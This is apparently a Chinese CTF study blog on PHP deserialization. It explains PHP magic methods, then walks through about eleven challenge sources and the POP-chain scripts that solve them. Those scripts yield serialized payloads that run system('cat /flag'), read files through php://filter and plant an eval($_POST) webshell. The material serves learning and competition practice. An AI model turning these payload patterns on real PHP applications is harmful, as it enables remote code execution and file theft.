php反序列化

php魔术方法

1、__get、__set 这两个方法是为在类和他们的父类中没有声明的属性而设计的 __get( $property ) 当调用一个未定义的属性时访问此方法 __set( $property, $value ) 给一个未定义的属性赋值时调用 这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

2、__isset、__unset __isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法 __unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法 与__get方法和__set方法相同,这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

3、__call __call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法

4、__autoload __autoload 函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。 注意: 在 autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。

5、__construct、__destruct __construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称 __destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法 默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用. 在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset。

6、__clone PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。 __

7、__toString toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。 在PHP 5.2.0之前,__toString方法只有结合使用echo() 或 print()时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符) 从PHP 5.2.0,如果将一个未定义__toString方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR错误。

8、__sleep、__wakeup __sleep 串行化的时候用 __wakeup 反串行化的时候调用 serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。 使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。 相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

9、set_state 当调用var_export()时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按array(’property’ => value, …)格式排列的类属性。

__ 10、__invoke 当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。PHP5.3.0以上版本有效

11、__callStatic 它的工作方式类似于 __call() 魔术方法,__callStatic() 是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic() 方法的定义;它必须是公共的,并且必须被声明为静态的。 同样,__call() 魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。

  1. call_user_func(函数,参数)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
class A{
public $a="hi";
public $b="no";
function __construct()
{
$this->a="hiiiii!";
echo $this->a."\n";
echo "this is construct\n";
}
function __wakeup()
{
echo "this is wakeup\n";
}//反序列化之前
function __destruct()
{
echo "this is destruct\n";
}//反序列化时会最后才触发

function __toString()
{
return "this is tostring\n";
}
function __call($name, $arguments)
{
echo "this is call\n";
}
function __get($a)
{
echo "this is get\n";
}
function __invoke()
{
echo "this is invoke\n";
}//尝试当作函数


function say_hi()
{
echo "hiuhiu\n";
}
}
$aa=new A();// 所有最后都还要析构一次,对象的消失
$aa->say_hi();
$bb=serialize($aa);
$cc=unserialize($bb);
echo $aa;// 作为字符串用时触发 tostring
$aa->say_no(); //call
$aa->c; //get
$aa(); //invoke

运行结果

hiiiii!
this is construct
hiuhiu
this is wakeup
this is tostring
this is call
this is get
this is invoke
this is destruct
this is destruct

1.[SWPUCTF 2021 新生赛]ez_unserialize

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>

传入的p调用wllm方法。

__construct()创建一个对象

里面有admin和passwd的值,同时被赋值

__destruct()销毁对象的时候

把对应的值读出来。

需要传入一个值,把值改为我所需要的值。

解码脚本如下

1
2
3
4
5
6
7
8
9
10
11
<?php
class wllm{
public $admin;
public $passwd;
}
$aa = new wllm();
$aa->admin = "admin";
$aa->passwd = "ctf";
$stus = serialize($aa);
echo($stus);
?>

post一下。

2.[网鼎杯 2020 青龙组]AreUSerialz

好长的序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}

is_valid函数要求传入的ascill码都在32到125之间

分析给的源码

分析pop链

flag.php->output()->read()->op=2->process()->destruct()

1
2
3
4
5
6
7
8
9
10
11
<?php
class FileHandler {
public $op =2;
public $filename="flag.php";
public $content="666";
}
$a=new FileHandler();
$b=serialize($a);
echo $b;

?>

解密脚本如上

3.[SWPUCTF 2021 新生赛]no_wakeup

源码如上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

分析链子

传入p,先序列化,wakeup()判断并赋值

然后比较p的内容成立就给flag

1
2
3
4
5
6
7
8
9
<?php
class HaHaHa{
public $admin="admin";
public $passwd="wllm";}
$a=new HaHaHa();
$a=serialize($a);
echo($a);
?>

解密如上

改大hahaha前面的值大小,从而绕过wakeup()

4.[SWPUCTF 2021 新生赛]pop

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
show_source("index.php");
class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>

分析

目标调用 Getflag()函数

看到tostring(),调用此处 $this->w00m->{$this->w22m}();,调用getflag()

getflag<-w44w<-w33w<-w22w

解密脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w22m();
$b = new w33m();
$c = new w44m();
$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
echo serialize($a);
?>

get一下

5.[NISACTF 2022]babyserialize

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>

先传进去看看hint()

1
O:4:"NISA":1:{s:3:"fun";s:12:"show_me_flag";}

hint:flag is in /

分析:

魔术方法
1
2
3
4
5
6
7
8
9
invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
__construst():具有构造函数的类在创建新对象的时候,回调此方法
destruct():反序列化的时候,或者对象销毁的时候调用
__wakeup():反序列化的时候调用
sleep():序列化的时候调用
__toString():把类当成字符串的时候调用,一般在echo处生效
set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用__
get():读取不可访问或者不存在的属性的时候,进行赋值
__call():在对象中调用一个不可访问的方法的时候,会被执行

pop链

@eval执行语句<<invoke()<<tostring()//顺序执行下来<<strtolower($this->a);//改变小写做str格式调用<<set()<<call()//访问不可更改的数据

//而__call方法又可直接反推回pop链入口函数__wakeup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class NISA{
public $fun;
public $txw4ever='system("ls");';
}

class TianXiWei{
public $ext;
public $x;
}

class Ilovetxw{
public $huang;
public $su;
}

class four{
public $a;
private $fun;
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));

另一种解法

在NISA::__wakeup里,做弱比较的时候就能触发__toString()

1
2
3
4
5
6
7
8
9
10
class NISA{
public $txw4ever='SYSTEM("cat /f*");';
}
class Ilovetxw{
}
$a = new NISA();
$a->fun = new Ilovetxw();
$a->fun->su = $a;
$a = serialize($a);
echo $a;

6.[天翼杯 2021]esay_eval

前半为反序列化

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}

显然是要传入执行eval()

pop链从wakep触发

B->a=>A

构造解码

1
2
3
4
5
6
7
8
9
10
11
<?php
class a{
public $code = "";
function __construct(){
$this->code = "phpinfo();";
}}
class b{
function __construct(){
$this->a=new a();
}}
echo serialize(new b());

传入phpinfo执行成功,考虑ls /

发现system函数被禁用

反序列化传木马

构造code=’eval($_POST[a];)’

然后蚁剑链接

发现有限制无法传入

考虑其他方法,反序列化成功

7.[sictf2023]serialize

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
die("Wishes can be fulfilled");
}
}
class Nevv{
private $happiness;
public function __invoke()
{
return $this->happiness->check();
}
}
class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
}
class Year{
public $key;
public $rabbit;
public function __construct($key)
{
$this->key = $key;
}
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)
{
$name = $this->rabbit;
$name();
}
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrac$kers();
}else{
print("Welcome 2023!!!!!");
}
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?>

pop链思路

目的是执行 call_user_func函数=>类似于eval()

触发call(调用不可访问的东西)<=断了

正向推导:destruct(变量创建,反序列化开始)=》firecrackers()=》$this->rabbit->wish(wish不存在调用set)=》set

$this->aspiration->family(给一个private赋值)-》get()-》$name();=》invoke()=》(全部结束后set-》get-》call起效)

-》call()-》eval()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Happy{
public $cmd='system';
public $content='cat /flag';
}
class Nevv{
public $happiness;
}
class Rabbit{
public $aspiration;
}
class Year{
public $key;
public $rabbit;
}
$a=new Year();
$a->key='happy new year';
$a->rabbit=new rabbit;
$a->rabbit->aspiration=new year;
$a->rabbit->aspiration->rabbit=new Nevv;
$a->rabbit->aspiration->rabbit->happiness=new happy;
echo(serialize($a));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
class aa{
public $name
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}

8.[第五空间 2021]pklovecloud

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php  
include 'flag.php';
class pkphow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();} }
class ace
{ public $filename;
public $openstack;
public $docker;
function echo_name() {
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~"; } } } }
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

1.目标是包含flag。php,需要调用echo_name(),绕过if语句之后包含得到flag

2.由于$heat是一个不存在的变量,导致不能直接去赋值

3.将$this->openstack赋值为空,接下去if内的比较是null=null,只要两者为空就可成功绕过

4._tostring()调用的点再echo,由echo为pop链的入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct($a)
{
$this->cinder = $a;
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
$a = new acp("");
$a->neutron = NULL;
$a->nova = NULL;
$b = new ace();
$b->filename='../nssctfasdasdflag';
$b->docker=serialize($a);
$c =new acp($b);
//echo serialize($c);
echo urlencode(serialize($c));

9.[nsactf2022]pop

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}

public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}

public function __get($key){
$function = $this->effort;
return $function();
}
}

目标是i把flag文件包含进去,实现伪协议读取

需要调用append函数=》调用invoke函数

在tryworkhard里面看到get函数里面调用了$function();(先触发invoke完成后会触发¥function():函数)

Road_is_Long的tostring里面存在着eturn $this->string->page;,调用一个不存在在string类里面的page触发get()

在正则匹配内,将变量当作字符串处理触发tostring,显然来到了wakeup

故以wakeup为入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var="PHP://filter/read=convert.base64-encode/resource=/flag";
}
class Make_a_Change{
public $effort;
}
$a = new Road_is_Long;
$b = new Road_is_Long;
$c = new Make_a_Change;
$d = new Try_Work_Hard;
$c-> effort = $d;
$a-> string = $c;
$b-> page = $a;
echo urlencode(serialize($b));
?>

10.[nssctf]prize p5

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
error_reporting(0);

class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>

解法一

1
2
3
4
5
6
7
8
9
10
11
12
13
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}

存在一个$a($b)的问题,可以序列化之后利用(非常简单的非预期解)上链接

$a($b)

php中关于一些$a($b)_php中$b()_Msaerati的博客-CSDN博客

对于object的过滤

当反序列化的字符串属性是大写的时候,会允许网页解析后方的16进制码

解法二

php反序列化字符串逃逸

由于存在对

array(‘NSS’, ‘CTF’, ‘OTL_QAQ’, ‘hello’的检查和替换

  1. php在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。

  2. 2. 长度不对应的时候会报错

  3. 3. 可以反序列化类中不存在的元素

    浅析php反序列化字符串逃逸_lemonl1的博客-CSDN博客

    PHP反序列化字符逃逸详解 - FreeBuf网络安全行业门户

11.黄河流域网络安全空间2023[funnyweb]

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);

class A{
public $sdpc = ["welcome" => "yeah, something hidden."];
function __call($name, $arguments)
{
$this->$name[$name]();
}
}
class B{
public $a;
function __construct()
{
$this->a = new A();
}
function __toString()
{
echo $this->a->sdpc["welcome"]; //对大家表示欢迎
}
}
class C{
public $b;
protected $c;
function __construct(){
$this->c = new B();
}
function __destruct(){
$this->b ? $this->c->sdpc('welcom') : 'welcome!'.$this->c; //变着法欢迎大家
}
}
class Evil{
function getflag() {
echo file_get_contents('/fl4g');
}
}
if(isset($_POST['sdpc'])) {
unserialize($_POST['sdpc']);
} else {
serialize(new C());
}


?>

利用点在file_get_include(),getflag()是出口。

getflag<=A中的call()函数=《C中存在一个protect的值,在对象销毁里面调用。

入口是c的对象销毁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);

class A
{
public $sdpc;

function __construct() {
$this->sdpc = array("sdpc" => array(new Evil(),'getflag'));
}

function __call($name, $arguments)
{

$name[$arguments]();
}
}
class C
{
public $b;
protected $c;
function __construct()
{
$this->c = new A();
}
function __destruct()
{
$this->b ? $this->c->sdpc('welcom') : 'welcome!' . $this->c; //设置 b ,触发 ___call
}
}
class Evil
{
function getflag()
{
echo '1';
file_get_contents('/fl4g');
}
}
$ca = new A();
$cc = new C();
$cc->b = 'sp4c1ous';
echo urlencode(serialize($cc));